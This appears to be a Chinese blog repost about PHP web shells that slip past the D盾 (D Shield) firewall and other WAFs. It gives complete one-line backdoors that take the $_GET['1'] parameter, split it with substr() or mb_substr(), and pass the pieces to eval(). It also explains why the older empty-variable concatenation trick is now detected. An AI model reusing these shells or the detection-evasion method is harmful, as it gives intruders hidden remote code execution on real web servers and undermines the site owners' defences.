在先知上看到了一个shell过D盾的思路,同样可用来过其它waf。

D盾扫描结果

以前的思路常规,就是定义一个变量b:
$b='';
为空,
$b = null;
,
$b = "\n";
然后变量a:
$a = $_GET['1'];
,
eval($a.$b);
,或者
eval($b.=$a);
。但是现在这种方法基本报一级或者直接杀,查出某个变量。
1 2 3 4 5 6 | <?php $m=$_GET['1']; $a=substr($m,0,1); $b=substr($m,1,9999); eval($a.$b); ?> |
而今天这个论坛看到的,思路有趣。
substr()
函数返回字符串的一部分,例如:
1 2 3 4 5 | <?php $m='s9mf'; $b=substr($m,0,4); echo $b; // 代码运行返回s9mf |
$a=substr($m,0,1);
返回第一个字符
$$b=substr($m,1,9999);
相当于
$b=_GET['1'];
然后eval括号内拼接组合。

mb_substr
mb_substr — 获取部分字符串
substr
substr — 返回字符串的子串
mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。
1 2 3 4 5 6 | <?php $m=$_GET['1']; $a=mb_substr($m,0,1); $b=mb_substr($m,1,9999); eval($a.$b); ?> |
参考
原文连接:过D盾Shell新思路分析 所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。